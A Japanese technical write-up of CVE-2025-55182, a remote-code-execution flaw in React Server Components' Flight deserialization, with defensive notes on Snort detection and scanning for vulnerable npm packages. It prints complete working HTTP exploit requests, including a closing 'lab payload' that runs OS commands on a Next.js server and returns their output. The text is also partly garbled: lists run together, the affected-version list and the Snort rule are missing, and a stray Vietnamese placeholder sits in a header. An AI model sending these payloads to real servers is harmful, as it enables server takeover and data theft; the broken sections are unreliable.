
React Server ComponentsはReact 19で導入された機能で、コンポーネントをクライアント側のブラウザではなくサーバー上でレンダリングできるようにします。サーバーは複雑な計算タスクを処理しながら、レンダリング済みの結果のみをクライアントに送信できます。
RSCにおけるサーバーとクライアント間の通信は、React Flightプロトコルに基づいています。このプロトコルは、サーバーとクライアント間で転送されるデータのシリアライズとデシリアライズを処理します。クライアントがサーバー側の関数(Server Action)を呼び出す必要がある場合、シリアライズされたデータを含む特別な形式のリクエストを送信し、サーバーがそれをデシリアライズして処理します。
Flightプロトコルは、データ型マーカーを備えた特定のシリアライズ形式を使用します。例:
$@はチャンクへの参照を表します。$BはBlobへの参照を表します。$1:constructor:constructor)このシリアライズ機構こそが脆弱性の存在する場所です。サーバーは、要求されたプロパティが意図したモジュールからの有効なエクスポートであるかどうかを適切に検証せずに、これらの参照を処理します。
CVE-2025-55182は、本質的には、RSCがFlightプロトコルの受信ペイロードを処理する際の安全でないデシリアライズの脆弱性です。この脆弱性は、react-server-dom-webpackパッケージのrequireModule関数に存在します。
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
重大な問題は、ブラケット記法によるアクセスにあります:moduleExports[metadata[2]]
JavaScriptでは、ブラケット記法でプロパティにアクセスする場合、JavaScriptエンジンはオブジェクト自身のプロパティだけでなく、プロトタイプチェーン全体も走査します。つまり、攻撃者はモジュールが明示的にエクスポートしていないプロパティを参照できるということです。
最も重要な点として、JavaScriptのすべての関数にはFunctionコンストラクタを指すconstructorプロパティがあります。someFunction.constructorにアクセスすることで、攻撃者はグローバルなFunctionコンストラクタへの参照を取得できます。これは、文字列形式の引数で呼び出されると任意のJavaScriptコードを実行できるオブジェクトです。
この脆弱性が悪用可能となるのは、ReactのFlightプロトコルがクライアントに、コロン区切りの参照構文を通じてこれらのプロパティパスを指定することを許可しているためです。攻撃者は$1:constructor:constructorのような参照を作成でき、これは次のように走査されます:
.constructorプロパティにアクセス(Functionコンストラクタを取得).constructorにアクセス(依然としてFunctionコンストラクタだが、アクセスチェーンを確定)PoCは、3つのフィールドからなるmultipartフォームリクエストを送信することから始まります。最初のフィールドには、意図的に作成された偽のChunkオブジェクトが含まれています:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
このオブジェクトは、Reactのchunkクラスの内部構造を模倣しています。thenをChunk.prototype.thenへの参照に設定することで、自己参照構造を作り出します。ReactがこのChunkを処理してawaitすると、thenメソッドが偽のChunkをthisコンテキストとして呼び出されます。
次の重要な要素は$B1337参照です。ReactのFlightプロトコルでは、$BプレフィックスはBlob参照を表します。ReactがBlob参照を処理するとき、response._formData.get(response._prefix + id)を使用する関数を呼び出します。
ここで、_responseオブジェクトには悪意のあるプロパティが挿入されています。Blobハンドラがresponse._formData.get(response._prefix + id)を実行すると、
実際には次のように実行されます:Function("process.mainModule.require('child_process').execSync('xcalc');1337")
原因は、_formData.getが$1:constructor:constructorに設定されており、この参照がFunctionコンストラクタに解決されるためです。_prefixの値には悪意のあるコードが含まれています。これらが組み合わさると、Functionコンストラクタが悪意のあるコード文字列を引数として呼び出され、任意のJSコードを含む関数が作成・実行されます。
ペイロードprocess.mainModule.require('child_process').execSync('xcalc')は、このエクスプロイトの能力を示しています。ペイロードは次のことを実行します:
process.mainModuleにアクセス(実行中のメインモジュール)requireメソッドを使用してchild_processモジュールをロードexecSyncを呼び出してOSコマンドを実行xcalc)を起動このペイロードは、リバースシェルの確立、秘密情報を含む環境変数の抽出、機密ファイルの読み取り、またはNode.jsプロセスが権限を持つ任意の操作の実行に変更できます。
maple3142のPoCにおける完全なリクエストを見てみましょう:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Next-Action: xヘッダーは、ReactのServer Action処理メカニズムをトリガーします。本文は3つの部分から構成されています:
_response構造を含む偽のChunkオブジェクト。$@0参照。自己参照構造を作成します。サーバーがこのリクエストを処理すると、フィールド0をデシリアライズし、フィールド1で$@0参照に遭遇して自己参照のthenプロパティを設定し、その後Blobハンドラをトリガーします。このハンドラがFunctionコンストラクタを通じてコードを実行します。
CVE-2025-55182は、以下のバージョンのReact Server Componentsに影響を与えます:
この脆弱性が危険な理由:
create-next-appで作成された標準的なNext.jsアプリケーションは、ソースコードを変更することなく悪用される可能性があります。Shodanによると、57万1,000台以上の公開サーバーがReactコンポーネントを使用し、44万4,000台のサーバーがNext.jsを使用しています。すべてが影響を受けるバージョンを実行しているわけではありませんが、潜在的な攻撃対象領域は非常に広大です。
攻撃リクエストには、以下の非常に特徴的な要素の組み合わせが必須です:
Next-Actionヘッダーが含まれ、データ形式がmultipart/form-dataであること。仕組み:このSnortルールは、前述のセクション2で示した異常な兆候(ヘッダー + 悪意のあるペイロード文字列を検査するPCRE)をすべて備えたサーバー宛て(to_server)のネットワークトラフィックをブロック/警告します。
目的:ネットワーク経路上でエクスプロイトの挙動が発生している最中に検出して防止します。
仕組み:サーバー上またはソフトウェアビルドプロセス(CI/CD)内で定期的にスキャンクエリを実行し、脆弱性のあるNode.jsライブラリパッケージ(npm_packages)を検出します。
対象パッケージ:react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack
スキャン対象の脆弱なバージョン:19.0.0、19.1.0から19.1.2未満、および19.2.0。
目的:リスクのあるアプリケーションが本番環境にデプロイされる前に、積極的に検出します。
ラボ用ペイロード:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--